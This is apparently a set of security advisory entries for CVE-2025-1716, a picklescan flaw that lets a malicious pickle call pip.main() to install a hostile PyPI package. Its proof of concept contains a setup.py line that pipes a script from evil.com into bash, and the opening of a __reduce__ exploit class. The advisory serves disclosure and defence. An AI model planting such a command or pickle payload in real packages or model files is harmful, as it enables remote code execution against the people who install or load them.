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EUVD-2026-264500

fkie_cve-2025-1716

picklescan before 0.0.21 does not treat 'pip' as an unsafe global. An attacker could craft a malicious model that uses Pickle to pull in a malicious PyPI package (hosted, for example, on pypi.org or GitHub) via `pip.main()`. Because pip is not a restricted global, the model, when scanned with picklescan, would pass security checks and appear to be safe, when it could instead prove to be problematic.

GHSA-655q-fx9r-782v — Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Affected: PyPI: picklescan

### CVE-2025-1716

### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

### Details Pickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection.

### PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious `setup.py` ``` from setuptools import setup import os

os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script

setup( name="rsac-demo-package", version="0.1", packages=["rsac_demo"], install_requires=[], ) ``` Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle ``` import pickle import pip

class Exploit: def __reduce__(self):…

PYSEC-2025-18

Affected: PyPI: picklescan